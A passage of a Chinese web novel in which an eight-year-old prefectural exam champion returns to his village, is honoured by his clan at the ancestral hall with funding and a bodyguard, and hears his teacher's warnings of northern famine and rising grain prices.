方子期一家人准备归家。 照例。 去知会了一下他大伯家。 这是老爷子方守义给方仲礼下的死命令。 大伯一家归不归家是一码事,但是老爷子方守义肯定是希望一大家子一起团圆的。 恰逢大伯大伯母都不在家,只有方子期的小堂哥方文舟休沐在家。 “二叔。” “二婶!” “大丫姐……” “二丫姐……” …… “子期……” 方文舟一一打了招呼。 此刻方文舟看向方子期的目光中充满了无尽复杂之意。 曾经被学霸堂弟支配的恐惧感…仿佛又回来了。 但是也就回来了一刹那,就冻住了。 因为…… 方子期中案首的消息早早就传到了县城。 禾阳县出了个府案首!这种劲爆新闻的传播速度自然极快。 对于每个禾阳人而言,那都与有荣焉! 府案首是从我们禾阳县出去的! 府案首是我们禾阳县的小神童! 别说是那些平头百姓了。 哪怕是禾阳县的县令花承祚,也感到脸上有光。 甚至于…能为自己的政绩增色不少。 方文舟住在县城,自然也听说了方子期喜中府案首的事情。 他和方子期同岁,只是大了些月份。 甚至于开蒙的时间比方子期还要早…… 但是现如今他还在学堂中读着那些蒙童文学,譬如《幼学琼林》、《神童诗》等。 因为他的堂弟中了府案首…… 所以他学堂的夫子就对他另眼相待了。 每日都喜欢叫他起来回答问题。 因为方文舟现在头上顶着府案首堂哥的头衔…… 很多人都觉得。 你堂弟是神童,那你就算不是顶流神童,也该是一流二流或三流神童才对! 虽然他同方子期早就不在一个学堂读书了。 但是被自己这学霸堂弟支配的恐惧…从未停止过! 甚至随着方子期的学问日夜精进后,恐惧日甚! 方文舟很想为自己辩驳一句:我与我堂弟方子期之间的差距,比我同狗之间的差距还要大! 所以! 我真不是神童! 别说是一流二流三流神童了!九流神童我也配不上啊! 第68章 族犬有喜 “今日我们要回柳溪村。” “你爹娘若是回来,知会他们一声。” “你爷爷奶奶总盼着你们归家。” 方仲礼沉声道。 “好的二叔。” “我回头就同我爹娘说。” “二叔二婶。” “你们要进来坐坐吗?” “我给你们沏茶!” 方文舟一脸拘谨道。 尤其是看到方子期的时候,拘谨感就更强了。 方子期忍不住打量了一眼自己这个小堂哥…… 两月不见…… 怎么感觉像是秃了不少? “就不进去了。” “我们回去还有事。” “文舟,我们先走了。” 方仲礼打了个招呼,随即驾上大青骡车,直奔着柳溪村而去。 …… 柳溪村。 此刻道路两旁都是嫩绿色的稻穗。 微风吹过,青草的香气扑面而来。 四月份的柳溪村。 没有县城和府城的繁华喧嚣,却独增了几分惬意与淋漓之感。 汪! 汪汪汪! 刚到村口。 就听到熟悉的犬吠声。 方子期掀开车帘一看,嘴角一扬。 果然是阿黄师兄! 阿黄师兄现如今已经认识他们家的大青骡车了。 隔着老远,就能根据动静甚至味道判断出来。 阿黄师兄一边兴奋地疾跑过来,一边将尾巴急速甩成螺旋桨。 跑到大青骡车前后,阿黄对着大青骡呜呜了几声,算是打了个招呼后,直接一个纵跃熟练地跳上了骡车。 随即对着赶车的方仲礼挤出几个谄媚的笑容后…… 紧跟着甩着尾巴进了车内。 见到方子期后。 阿黄师兄那双智慧之眼顿时一亮。 然后撒欢似得打了个滚儿来到方子期面前,仰面露出自己的肚皮,供方子期抚摸。 方子期看到阿黄也很高兴。 整个村子,真心欢迎他们回来的生物不多,但是阿黄绝对算一个! “阿黄啊阿黄!” “两月没见,怎么感觉你又胖了不少?” “可是满仓那家伙又给你投喂了肉脯?” 方子期说话间,从坛子里掏出了好几块肥的流油的红烧肉,用油纸包裹着,放在阿黄面前。 嗅闻到红烧肉的滋味…… 阿黄狗眼更亮了,尾巴也旋转地更快了! 不过阿黄倒是没急着吃肉,先是用脑袋在方子期手中拱了拱,撒了个娇后,才去大快朵颐。 “呀!” “我怎么感觉阿黄肚子大了不少!” “不会是要生娃了吧!” 大丫突然惊呼一声,阿黄吓得一激灵,随即回头朝着大丫投去一个笑脸,然后自顾自的,又开始大口朵颐起来。 “应当是了……” “这阿黄毛色好,在狗中也算是长得好看的了!” “回头阿黄要是生了崽,也定然好看。” 苏氏点头道。 方子期心中一动…… 这年头人都吃不饱,所以这狗很少有人养的。 这阿黄也就是因为混在族学,算是族狗,再加上时常有族学的学生投喂,才能吃得这般好。 若是生了崽,族学不可能继续养太多狗的。 “娘。” “阿黄要是生了狗崽子,我家养了吧!” “反正每日里处理的残渣油水也不少。” “倒了也是浪费。” “养狗刚好,还能看家护院。” 方子期忍不住伸出手,抚摸着阿黄的肚皮。 这里面,有小生命了。 阿黄似有所感,此刻也不忙着吃红烧肉了,继续仰面躺在地上,将肚皮凑到方子期手边,狗眼中满是兴奋,似乎在说:“这就是我的娃!” “娘子!” “我觉得子期说得不错。” “养条狗在家,也能防着点贼寇!” 方仲礼对养狗之事十分赞同。 “既然你们父子都同意了,我还能反对吗?” “况且…阿黄我是真喜欢。” “若非阿黄是族犬,我都想带回家养着了。” 苏氏抚摸着阿黄的狗头,笑着道。 大青骡车继续朝着村子里行进。 一路上,方仲礼也遇见了不少相熟的人,在打着招呼。 很显然。 柳溪村的消息还是比较闭塞的。 至少没有县城里面那般四通八达。 还无人知晓相关的府试消息。 “方家老二!” “听说你和子期都去府城考府试了!” “可曾中榜啊!” 李家老三光着膀子兴致盎然地询问道。 顿时就引得周边的闲汉闲妇一阵嬉笑。 “这过了府试可就是童生了!那可是正儿八经的功名!哪是那么容易中的!” “当家方家老大也是考了十多年才考上的呢!” “哪有一次就中的?一次就中的那是天上的星宿!正儿八经的文曲星!” “是极是极!方家老二,此行去府城考试花了不少银钱吧?这做小生意赚点银钱可不容易,可别瞎糟蹋了……” “平常人家供一个读书人都极为吃力了,你们还供着两个……别发了头昏……” “有那闲工夫还不如伺候伺候地里面的活儿呢!” …… 事实证明。 没有人希望你的日子过得好。 除非是你的至亲。 或是极少数的赤诚相待的朋友。 但是大多数人。 都下意识盼望着你过得比他差,这样他就舒服了。 “区区府试!” “又有何难?” “不过李老三,你怎么知道我儿子期中了府试案首?” 方仲礼特地大声道。 笑容堆在脸上,好不痛快! “案首?” “府案首?” “怎么可能!” 李老三怪叫道。 因为方子期中过县案首的缘故,所以柳溪村的村民大多都知道这案首就是第一名的意思…… 府案首,那不就是府试第一名? “方家老二,这可不好开玩笑的……” “府案首那是天上星宿下凡才能中的……” 有一个村民红着脸上前道。 “这有什么好开玩笑的。” “区区一个府试罢了……” “连我都中了府试第一百名……” “我儿中个府案首,不是理所应当的吗?” 方仲礼再度道。 这消息,又是一个炸弹! 随即。 柳溪村内开始疯传! 方仲礼、方子期父子府试全部中榜!方子期还是府试案首! 一时间! 伴随着阿黄兴奋的犬吠声,整个柳溪村像是炸了窝。 大青骡车继续往前走。 “子期!” “真是你!” “刚才有人说你们一家子回来了!我还以为唬人的呢!” 车外,传来赵满仓兴奋的叫喊声。 方子期跳下马车,看着自己的发小,直接上去来了个熊抱! 第69章 全族供我科举路! “子期。” “他们说你中了府案首,是真的吗?” 赵满仓也开蒙两年了。 对于府案首是什么意思,自然也了解一些了。 虽然知之不深,但是他也明白,这对读书人而言是一个很高很高很高的荣誉。 “嗯!” “是的!” “怎么两个月没见,同我还生分了?” 方子期没好气地给了赵满仓胸口来了一小拳。 “子期。” “以后…你就是童生老爷了。” “我要叫你老爷吗?” 赵满仓揪着脸道。 方子期:“……” 童生算个屁的老爷啊! “你小子!” “还跟我来这一套?” “信不信我揍你?” “给你拿的红烧肉!” 方子期转身从马车内拿了一小罐的红烧肉。 “嘿嘿!” “我就知道子期最好了。” “子期!” “我们是一辈子的好朋友是吧!” 赵满仓满眼期待道。 “当然。” “一辈子!” 方子期笃定道。 赵满仓重重地点了点头。 看着赵满仓肥嘟嘟的样子,方子期一阵恍惚…… 他可不希望未来的某一天再回到柳溪村时,赵满仓局促地拿着草杈在叉猹,然后一脸沧桑且拘谨地称呼他为‘老爷’。 等方子期回到方家老宅的时候。 门口已经聚集了很多村民了。 在人群中,方子期还看到了族长方文泰和村长顾苍,还有顾苍的孙子顾知远,也是方子期曾经在族学的同窗。 “族长好!” “村长好!” 方仲礼一一上前打招呼。 “仲礼!” “我听说子期中了府试案首,你也中了府试,现今你们父子都是童生了?” “是也不是?” 族长方文泰脸色晕红,眼眸中露出希冀光芒。 “是的族长。” 方仲礼重重地点了点头。 “好!” “好啊!” “你们父子为我方族光耀了门楣啊!” “我已经将族中的老少都聚集起来。” “今日,我方氏要开祠堂!祭奠祖宗!告诉老祖宗这个好消息!” 族长方文泰脸上布满了笑容,脸上的褶子都因激动而舒展开来。 先前紧抿的嘴角咧得快要到耳根,连带着花白的胡须都在簌簌抖动。 方文泰深吸一口气,声音中裹着抑制不住的颤音:“快!快去准备三牲祭品!让族里面的后生将祠堂里里外外地都打扫一遍!这般天大的喜事!必须要焚香告祭祖宗!” 方文泰交代完后,朝着方家老宅中看了一眼。 “守义啊!” “你家出人了啊!” “你家坟山埋得好啊!” “祖坟冒青烟了!” “八岁的府案首!” “这是咱们柳溪村开天辟地头一个啊!” “将来咱们老方家的第一个举人,定是要出自你家!” 族长方文泰忍不住疾呼道。 “啊……” 老爷子方守义当下一阵恍惚…… 惊喜来得太突然了。 眼看着老宅周边围满了人,熟识的村民和族人们纷纷朝着他投来羡慕和尊敬的目光。 这些族人和村民嘴中都在讨好似地报着喜。 “老太爷!你儿子和孙子都出息了!” “父子双童生!” “你孙子了不得啊!八岁的府案首!未来的举人老爷!” “咱们柳溪村要出大人物了!” “老太爷!就等着享福吧!” “老太爷!当年你家大儿子考童生考了十多年才考上的吧?你家二儿子不曾上过私塾,不曾开过蒙,一次就中!当年你要是将你二儿子送去学堂,恐怕你家早就出了举人老爷了!” “不过现在你孙子子期也聪明,合该这举人老爷要出自你家!” …… 周遭传来的各种贺喜声让老爷子方守义有些飘飘然,一时间竟说不出话来。 倒是奶奶柳氏还能保持镇定。 “同喜同喜!” “都是他们自己读书上进……” “我们也没帮上什么忙……” 奶奶柳氏嘴上这样说着,嘴角却咧得像被拉满的弓弦。 良久。 这般热闹的氛围都不曾消散。 最后还是方仲礼和方子期去了祠堂,才稍稍缓解了些。 祠堂内。 已经站满了方家的老少爷们。 “汪汪!” 祠堂角落位置,阿黄看到方子期,忍不住呜咽了两声,但是这里人多,它也不敢过多折腾。 方子期站在第一排,一个人孤零零地成为一排。 他的身后,是他的父亲方仲礼、方夫子、族长方文泰和方砚秋。 所有方氏族人都将脊背挺得笔直,有些人忍不住踮着脚,想要看看这八岁的府案首到底长得何等模样。 八岁的方子期此刻穿着簇新的青布直裰,手上握着三根粗壮的沉香。 面前的案上,三牲还在冒着热乎气。 祖宗牌位前的烛火熠熠生辉。 方文泰杵着拐杖往外侧走了几步,浑浊的眼睛在烛火里亮得惊人。 他接过族老递送过来的祭文,枯瘦的手指在泛黄的宣纸上认真地摩挲着,倏然间声调拔高,面色涨红,声音颤抖…… “列祖列宗在上!” “今日我方氏开祠堂,不为别的,为的是把天大的喜事告诉祖宗!” “宁江府丙午科府试,我方家三子登榜!” “八岁稚子方子期,笔锋初试便夺案首!砚秋六十六名,仲礼百名!” “祖宗护佑!我方氏百年耕读传家!这是我方氏全族之莫大荣耀!” “昔日先祖在柳溪村披荆斩棘,创下家业……” …… 当族长方文泰将祭词念完后,其深沉而锐利的目光看向方子期,声音逐渐放缓: “子期!” “你手中攥着的沉香是族中珍藏了三十年的老料!” “且给祖宗献上吧!” “让老祖宗好好看看我方氏的麒麟儿!” “从今日始!” “方氏全族的资源都将向你倾斜!” “你之科举所有费用,族里全出!” “谁人若敢对你出手,就是同我整个方族为敌!” “从今往后!” “整个方族就是你最坚强的后盾!” “方氏族人可以为你生!亦可以为你死!” “方氏一族的未来!就交由你手!” “方虎何在!” 方文泰突然闷哼一声。 “族长!方虎在此!” 此刻一个虎背熊腰的中年男子走了出来。 方子期看了一眼,此人他认识,是村子里有名的猎户,据说连山上的野猪都曾猎杀过,据说早些年还曾在边军中效过力,后来不知因何缘故离开了军营回到族里。 回来之后,这方虎一直以来就是族中的武力担当。 若真算起辈分来,应当同他爹方仲礼是一辈人。 “从今天开始!” “你需贴身保护子期!” “你可百战死!然子期若是掉落一根毛发,我唯你是问!” 族长方文泰的声音变得格外沉重,又带着强烈的不容置疑。 第70章 我兴,方族兴!我亡,方族亡! “请族长放心!” “从今日开始!” “谁想对子期出手,先踏过我方虎的尸首!” 方虎发出铿锵有力之音,随即正对着祖宗牌位郑重其事地磕了三个响头。 “从今日始!” “你之家眷!” “全族供养!” 族长方文泰朝着方虎发出郑重其事的承诺。 这是族长的承诺。 更是整个方族的承诺。 方子期此刻心中触动很大。 以前,他对祖宗的概念不是很清晰。 毕竟之前祭奠祖宗,他也是跟着老爹方仲礼站在队伍的最后排,随大流磕磕头就好了。 但是今天。 他站在了队列的最前排。 手握着族里珍藏了三十年的老沉香。 肩扛着整个方族的荣誉。 仿佛在这一刻。 他体内的方族血脉正在觉醒中。 这个宗族于他而言不再陌生,不再只是姓氏相同。 而是…… 命运共同体! 他日他方子期若是飞黄腾达,方族亦将守望相助、鸡犬升天! 他日他方子期若是犯了谋逆大罪,整个方族也将因他而灭族! 他兴,方族兴! 他亡,方族亡! 他一人,就是一族! “子期!” “上香吧!” 族长方文泰朝着方子期投去和善的目光。 方子期点点头,走到案前,略微踮起脚,将三根粗壮的老沉香插入了炉子中。 老沉香持续燃烧。 香味飘满了整个祠堂! 方子期转过身来。 一眼看去。 整个祠堂内。 乌压压的一片! 所有方族人的目光,都在看向他! 仿佛在这一刻。 方子期就是整个方族的话事人。 祭祀结束后。 族长方文泰特地将方仲礼和方子期留下了。 “仲礼!” “子期!” “这是五十两银子!” “算是族里对子期读书费用的支持。” “若不够,再找族里申请就好。” “族里还有一些族田,不说多,供子期读书科考还是够用的,将来就算是去京城赴考,我方族也能供得起!” 族长方文泰摸着胡子,脸上露出温和的笑容。 “族长。” “子期读书…我们还是有些银钱的。” “族里的钱……” “我们暂时还用不着。” 方仲礼的第一反应就是往回推。 不好占族里便宜的。 “仲礼!” “你什么意思?” “怎么?” “是看不起族里?还是看不起我?” “这银子!你必须拿着!” “否则我日日往你家跑!” 方文泰抬起头,目光坚定道。 方仲礼一脸局促…… “爹!” “收了吧!” “待来日我们挣了钱,再回馈族里就是了。” “多谢族长了。” 方子期郑重其事地作揖道。 不管族里是出自于什么心思资助他,但是白花花的银钱做不得假。 对于族里的想法,方子期大概也能猜出一些。 因为方子期中了府案首,族里觉得方子期未来可期,所以想要全力资助。 对于这一点,方子期并不反感。 毕竟族里的资源有限。 不可能平均分配给每个人,平均主义的前提是资源足够多。 在资源稀缺的时刻。 将尽可能多的资源倾斜到能够为族群带来更大价值的人身上。 如此一来,等这个被资助的人成长起来后,再反过来带动整个族群一起发展。 这才是一个族群强大下去并长盛不衰的奥秘。 如果想要拿到更多的资源,那就去争!就去夺! “子期!” “可有人欺负你!” “我去替你教训他!” 方虎这个时候走了过来,抖了抖虬结的肌肉,尽可能地露出一个他自认为和善的笑容来。 “额……虎叔,暂时还没有。” “多谢虎叔了。” 方子期笑着道谢。 “客气什么!” “今后虎叔还要跟着你混饭吃呢!” “我要是有什么过错,你尽管惩罚!” “我定不会说个不字!” 方虎捶了捶自己的胸口,言辞坚定道。 接下来。 方虎本想跟着方子期一起归家,按照族长方文泰的意思,方虎要贴身保护好方子期。 不过在方子期的劝说下,让方虎暂时不用跟着。 毕竟在柳溪村,能有什么危险? 等回头离开柳溪村的时候,让方虎跟着就好了。 对于族里面给自己安排的这一位孔武有力的护卫,方子期自然不会拒绝。 天大地大,性命最大。 这今后来来往往的,有个人保护,安全系数确实能够提升不少。 等从祠堂归家的时候,已经是半下午了。 “子期!” “这族里给我们五十两银子,实不该收啊!” “族里给咱们父子的照顾已经够多了。” “哎!” “族里又给咱们提供了你虎叔当护卫!” “承了族里这么多恩情……” 方仲礼的思维还没转变过来。 总觉得受到族内的恩惠太大了。 “爹。” “族里给我们提供这些,就是为了让我们安心科考的。” “对族里最好的报答就是我们在科考上有所成就。” “等我们有了更大的功名,就能去庇佑族里!” “等我们考中了举人,就能免税四百亩田地!” “届时非但是族田,乃至于所有族人的田地,都能挂靠到我们名下去免除赋税。” “而且……” “爹。” “刚才族长的意思是……” “这些银子,是给我读书科考的。” 方子期默默提醒了一句…… 虽然方仲礼第一次就中了县试和府试,已经很厉害了。 但是这一次方仲礼只是府试孙山之名。 对族里而言,方仲礼倒是有一定的培养价值,但是族里不可能给方仲礼送护卫送银钱的。 就像方砚秋,今年才十六岁,就已是童生了,但是族里也只是象征性地奖励了二两银子罢了。 还是那句话。 族内资源有限。 好钢得用在刀刃上。 听到自家宝贝儿子的话,方仲礼老脸一黑,不由得瞪了一眼方子期。 “你这小兔崽子!” “就知道编排你爹!” “这五十两银子,回头都交给你娘充公!” 方仲礼闷声闷气道。 方子期耸耸肩,钱进了他娘的口袋,想拿出来就难了。 他娘整天念叨着存钱给他娶媳妇呢。 等方子期和方仲礼回到老宅的时候。 门口停放了好几辆马车。 第71章 青云路,始于足下 见方子期和方仲礼归家。 孙员外率先站起身。 “是子期和仲礼老弟回来了!” “我这又来冒昧打搅了!” “仲礼老弟千万别见怪!” 孙员外此刻显得比上一次来方家时还要热络。 脸上的笑容将褶子完全遮蔽了。 “孙员外客气了。” 方仲礼拱拱手了,随口道。 随即对着一旁的大伯方伯山和大伯母赵氏打了个招呼。 “二弟!” “我听文舟说你们归家,就急匆匆地回来了。” “外面都在传,子期中了府案首,连你都中了府试孙山之名。” “此事当真?” “不曾陷入舞弊之事吧?” “科举舞弊之事可是最要不得的!” “鹰扬卫是真会抓人的!” 方伯山狐疑的目光看向方仲礼和方子期。 他想不通! 抓破头皮都想不通…… 他二弟方仲礼,不曾正儿八经开蒙过,学堂也不曾去过,怎么就稀里糊涂地考中童生了?现在童生这么好考了吗?那他当年十数年在学堂苦学又算什么? 至于他这侄儿方子期,那就更魔性了! 虽开蒙过,但是也就是在族学里面学过两年。 这一次怎么就能高中府案首? 方伯山一双眼珠子瞪得极大,仿佛是想从方仲礼和方子期脸上看出心虚的端倪来。 方仲礼眉头一皱。 他这大哥,怎么个意思? “大哥!你这说得什么话?” “什么科举舞弊?” “总不能你经历过科举舞弊,就要让所有人都经历吧?” “科举舞弊可是大案,哪能时常发生?” “无稽之谈!” 方仲礼冷哼一声。 他这大哥,总是狗嘴里吐不出象牙来。 方伯山还要再说,孙员外直接一个锐利的眼神瞪过来。 “伯山!” “休要无礼!” “今日是仲礼和子期的好日子!” “仲礼!” “子期!” “当真都是好本事啊!” “今日我那幼女宛禾也来了。” “正好给子期做个玩伴!” “宛禾!” “快过来!” “见过你子期哥哥!” 孙员外满脸欣慰的笑容。 随即朝着不远处招了招手。 紧跟着。 一个约莫七八岁模样的小女孩走了过来。 小女孩梳着得体的双丫髻,鬓边缓缓垂着两缕软绒绒的碎发。 步子慢慢晃悠,粉白的脸蛋如同刚剥壳的荔枝。 此刻小女孩手中还攥着半块不曾吃完的桂花糕,糕点的碎屑沾在高亮的鼻尖上上,显得灵动可爱。 只是此刻方子期完全没有欣赏小女孩可爱模样的心思。 因为他太清楚这孙员外究竟是什么意思了 这是想要强行来一波青梅竹马? 不可能! 绝无可能! 这万恶的封建社会! 方子期只是按照礼仪打了个招呼,随即告罪一声,说是要去读书了。 孙员外脸上的表情一僵,但是很快便恢复过来。 “怪不得子期能中府案首!” “果真是…果真是勤奋刻苦啊!” “文舟!” “你可要向你堂弟好好学习才是!” 孙员外看向方文舟道。 此刻孙员外对方文舟…也突然青眼相待。 都是一家人…… 这读书的天赋就算是相差,应该也差不了太多吧? 堂弟能中府案首,那堂哥退而求其次,中个县案首,问题不大吧? “是!” “孙叔。” 方文舟低着头应承道。 只是此刻嘴中的苦涩唯有自己清楚。 今天注定是嘈杂的一天。 方子期本以为躲开了正堂就清净了。 没想到去了后堂,就听到大伯母赵氏在疯狂朝着苏氏和三婶王氏吐苦水。 “反正这一次。” “我同你大哥是过不下去了。” “他现如今,已经不怎么归家了。” “一直就住在那骚狐狸家。” “平日里就算是回来,也只是为了拿些物什去孝敬那狐狸精!” “他的心思!完全不在这个家了!” “这么多年来,为了供他读书科举。” “我吃了多少苦头?” “现下好不容易熬出来了,他就在做那些恬不知耻的事情……” “要是良家子也就罢了,还是个丧门楣的寡妇,不清不白的就搞在了一起……” 大伯母赵氏半是哀怨半是愤怒的声音时刻传来…… 之前在县城里,他只是能时不时地找苏氏倒倒苦水。 但是现在归家了,还能找上三婶王氏…… 除此之外,今天大堂姐方玉瑶也归家了。 “女儿啊!” “娘的命可真苦啊!” 大伯母赵氏哭天抹地的。 “娘。” “忍忍吧!” “忍忍就过去了!” “女人家都是这样的。” 大堂姐方玉瑶几乎没有情绪波动,似乎在叙说一件无关紧要的事情一般。 “玉瑶!” “你怎么这般说话?” “你这女儿!” “我算是白养了!” “怎么一点也不共情你娘!” 大伯母赵氏顿时气不打一处来。 大堂姐方玉瑶的情绪仍旧稳定:“不是娘您对我说的吗?嫁鸡随鸡嫁狗随狗,到了夫家就要以夫家为天,打不还口骂不还手,纵使男人在外面花天酒地,也不得抱怨吵闹。” “这些。” “不都是娘同我亲口说的吗?” 大堂姐方玉瑶歪着头,语气平淡如水,脸上看不到任何表情波动。 大伯母赵氏张了张嘴,想要说些什么,却最终不曾说出口来。 大堂姐方玉瑶脸上仍旧面无表情,但是两行清泪已经默默流下。 曾经…… 她也有一份好姻缘的。 隔壁村张屠夫家的三小子…… 多憨厚健壮的人儿啊。 但是这一切从她爹考中秀才的那一刻就彻底变了。 她嫁去了孙家给孙承宗当继室,噩梦开始了。 她闹腾过,拒绝过,反抗过。 但是她爹娘以孝道做了那捆仙锁,将她牢牢地绑住了…… …… …… 家中过于吵闹。 索性。 方子期径直去了族学。 族学和祠堂是连在一起的。 此刻族学内。 传来郎朗读书声。 方子期眸子微动,曾经他也是其中的一员。 现下才四月底,距离院试的九月份还有四五个月的时间。 这大好时光自然不能浪费了。 所以接下来对于方子期而言,肯定要持之以恒地去苦读的。 府试,在科举大业中,只能算是一道开胃菜罢了。 院试,才算是科举之道真正意义上的起始点。 府试中,与方子期对决的,只是宁江府中了县试的近千学子。 而院试,方子期要同整个汉江省的所有童生比拼! 第72章 岱大旱,人相食 方夫子刚好从族学走了出来,见到方子期,连忙走上前来。 之前他们虽然在祠堂已见过了,但只是打了个招呼,不曾仔细攀谈。 “夫子!” 方子期恭恭敬敬地行礼道。 “嗯!” “子期!” “早先你在此同你父亲一起旁听时,我就觉得你不是池中物。” “果不其然。” “开蒙两年,就已中了府案首。” “根据以往之经验。” “凡是中府案首者。” “将来只要勤于学问,举人可期!” “而子期你才八岁,就有如此成就。” “未来恐怕不会止步于举人功名啊!” “就是不知道我这把老骨头,还能不能看到子期你未来的辉煌日了!” 方夫子说话间,忍不住轻咳了几声。 “夫子身体康健,长命百岁,怎会看不到?” “难不成夫子觉得学生应试到五六十岁还不中?” 方子期忍不住促狭道。 “你这小子……” “去了一趟府城,这嘴皮子的功夫倒是涨了不少!” “子期。” “府试过后,可去拜访知府大人了?” 方夫子突然询问道。 方子期微微一愣…… “这……” “府试放榜后,惊闻友人赵奎病死,所以就匆匆返乡,倒是不曾去拜访过知府大人!” 方子期老老实实道。 “你是那位王知府亲自点的府案首。” “名义上,你就是他的学生了。” “子期啊!” “吾辈读书人虽不推崇攀附权贵、趋炎附势。” “然……这份师生情将是你科举路上最大的保护牌。” 方夫子提点道,此刻方夫子的目光突然变得晦暗不明。 有些道理…如若他当初就明白就好了。 “是!夫子!” “子期铭记!” “等家中的事了结。” “我就去宁江府拜访那位知府大人。” 方子期郑重其事点点头道。 “嗯!” “如此便好。” “争取将今年九月的院试一举过了。” “有了秀才功名,不说大富大贵,至少不用再为生计而发愁了。” “而且时局动荡……” “有实打实的功名在身,也能护佑一家老小平安。” 方夫子突然低声道。 “夫子也听到消息了?” 方子期目光一凝,随即看向方夫子。 按理说,方夫子久居柳溪村,消息不该那般通畅啊! “怎么?” “觉得我一个老秀才,日日裹在家,消息不灵通?” “人老成精啊!” “而且总是有三五好友的。” “最近这米面的价格,可是上涨了不少。” “这个月比上个月涨了足足三成!” 方夫子三根手指。 方子期目光一凝。 粮价涨了三成? 大乱前兆! “北方的山岱行省今年爆发了前所未有的大旱。” “官府的邸报上对山岱行省的旱灾扬景只有了区区六个字来形容。” “岱大旱,人相食!” 方夫子的声音越发沉重。 方子期的心也跟着沉了沉。 人相食? 自然不会相互对食的意思。 而是…… 易子而食? 或是…… 干脆强吃弱…… 方子期莫名地感觉一阵作呕。 强烈的恶心感侵袭全身。 “咱们汉江还算是靠近南方,暂时倒是还没有受到什么太大影响,只是粮价涨了些。” “但是山岱行省没了粮食,朝廷拿什么去赈济灾民?” “以往山岱省是北方边军的重要粮食供应地。” “现如今山岱省大旱,北方边军吃什么喝什么?” “亏谁也不能亏军队,否则军队哗变,国将不国!” “北方边军还要防守鞑子……” “如此一来,就只能苦一苦老百姓了。” “老百姓素来好欺负……” “只要饿不死…就不会造反。” “但……” “真要是到了某一天,老百姓连果腹的粮食都没了,又当如何?” 方夫子说起这些的时候,双目中闪出锐利光芒。 方子期的眉头早已皱成了川字。 若是放在之前。 方夫子不可能同他谈论这么沉重的话题的。 但是现在不一样了。 方子期现如今在方族之中的地位举足轻重! 全族的资源全部向他倾斜!供他科考路!族里供应护卫护其周全。 祭祀祖宗的时候,他站在最前排上香! 甚至于…那位族长只等着他考中院试后,就打算在族谱上给他单开一页了。 “夫子远见卓识,子期佩服!” “夫子。” “如此说来,这柳溪村…其实也不安全了。” “真要是到了那乱世,或许还是城内更安全些。” 方子期提醒道。 “嗯!” “这就是我说这些的意思。” “我听闻你家在府城置了业?” “回头你们就带上周明谦那家伙去府城读书去吧。” “只是……” “老朽有个不情之请……” 周夫子说到此处,突然有些不好意思了。 方子期嘴角微扬,顿时明白方夫子的意思。 “请夫子放心!” “就让砚秋兄同我一起去府城读书吧!” “刚好还能给我做个伴。” “刚好周夫子能一起教导我和砚秋兄。” 方子期笑着道。 “夫子。” “要不然你也同我们去府城吧?” “反正府城的宅子够大!” “到时候学生请教夫子学问的时候也方便。” 方子期紧跟着道。 方夫子毫不犹豫地摇摇头。 “府城我就不去了。” “我老了,就想窝在这柳溪村了。” “教教族学的孩子们,倒也不失为一种天伦之乐。” 方夫子咧嘴笑了笑,此刻倒是觉得异常满足。 “我此生……” “最大之成就。” “应当就是教过你两年了。” “说不得我还要因子期你而青史留名呢!” “将来旁人若是提起某位状元公,说不得还得说那状元公的开蒙老师来自于宁江府禾阳县的柳溪村……” 方夫子乐呵一笑,倒是显得豁达开朗。 方子期此刻不由得跟着笑出声来。 师徒二人,在渐落的夕阳下,将背影拉得极长。 “汪!” 阿黄不知何时也溜达到了方子期和方夫子中间,老老实实地坐在那里,歪着脑袋仔细聆听着方子期和方夫子的交谈。 时而甩一甩狗耳朵,时而又张开狗嘴,打个哈欠。 一老。 一少。 一狗。 第73章 方守义的银子 孙员外一行人居然还没走。 说是非要等到同方子期打过招呼之后才能走。 孙员外的小女儿宛禾一直用好奇的目光打量着他,那童真的目光中透着崇拜、不解和好奇。 等孙员外走后。 大伯一家人也就走了。 大伯母赵氏虽然一直在控诉大伯方伯山的种种卑劣行径,但是离开老宅的时候还是丝毫不懈怠的。 “老大又走了。” “吃顿饭就走。” “也不在家歇一晚。” 奶奶柳氏看着渐行渐远的马车,忍不住叹了口气道。 “哼!” “这两次若非孙员外要来,你以为他会回来?” “他是被城里面的风月迷了眼了。” “哪里还能记得咱们这些老东西。” “儿女,都是债啊!” 老爷子方守义双手背负在身后,随即长长地叹了口气。 经历了这么多,他也看透了许多。 只是很多时候嘴上懒得说罢了。 老爷子方守义转过身,就看到了方子期站在那里,笔挺如松,身上穿着青色直裰,秀气得很。 方守义突然一阵恍惚…… 原本,他总是指望着大房去光耀门楣。 但是现在…… 大房当真能靠得住吗? 这老方家的文曲星…似乎已经自己耀眼起来了啊! “子期!” “你跟我进来。” 老爷子方守义对着方子期叫了一声。 随即背着手,进了正屋。 方子期一愣,点点头,也没多想,就走进去了。 “子期啊。” “你在外面读书费钱。” “这五两银子是爷爷的心意。” “别嫌少。” “我知道族里面给你拿了银子,但是族里是族里的,我的是我的,不是一码事。” “去了外面,好好读书!” “我和你奶奶在家,你们也不必担心。” “有你三叔三婶照应着我们,我们好得很。” “你们安心读书就好……” …… 老爷子方守义说了很多。 方子期只是在懵懂中时不时地点点头。 至于那五两银子,方守义根本就没给方子期拒收的机会,强行塞进方子期的口袋后,就直接将方子期赶出去了。 方子期张了张嘴,表情异常复杂。 等方子期走进西厢房的时候,奶奶柳氏在屋内不由得尖叫出声。 “老头子,你疯了?“ “你给了五两银子?” “咱们总共才多少银子?” “你不是说那些银子要留着傍身的吗?” “万一将来咱们有个头疼脑热的,儿子们要是拿不出钱来可咋办?” “而且上次也给了二房二两银子了。” “现在又给?” “这对伯山他们不公平啊!” “要是被伯山和赵氏知道了,定是要说闲话的……” 奶奶柳氏皱着眉头,显得有些不满。 这老头子,现在花起钱来,可真是大手大脚的。 “说闲话?” “说什么闲话?” “这些年你给大房贴了多少银钱,旁人不知道,我还不知道?” “老大要是有意见,你让他来找我!” “他儿子要是也能中个府案首…不…不用府案首,中个县案首也行!我也给五两银子读书!” “早就同你说过了。” “五根手指虽有长有短,但到底都是自己的手指头。” “别太过分了!” 老爷子瞪了一眼柳氏,低声呵斥道。 柳氏蠕动着嘴唇,还想说些什么,但是见方守义脸色不好看,只好闭了嘴。 …… 西厢房内。 “爷爷给的?” “我爹这是越发大方了啊。” “往日里对我大哥都没这么阔绰过啊!” 方仲礼眉毛一挑,忍不住感叹道。 “爹平日里话不多,但是脑子可不糊涂。” “至少比娘拎得清!” “这钱我们也就是暂时收着。” “回头找个由头再孝敬给爹娘就好了。” “咱们现在既有红烧肉卤肉的买卖,又有族里的银钱支持。” “供你们父子读书还是够用的!” 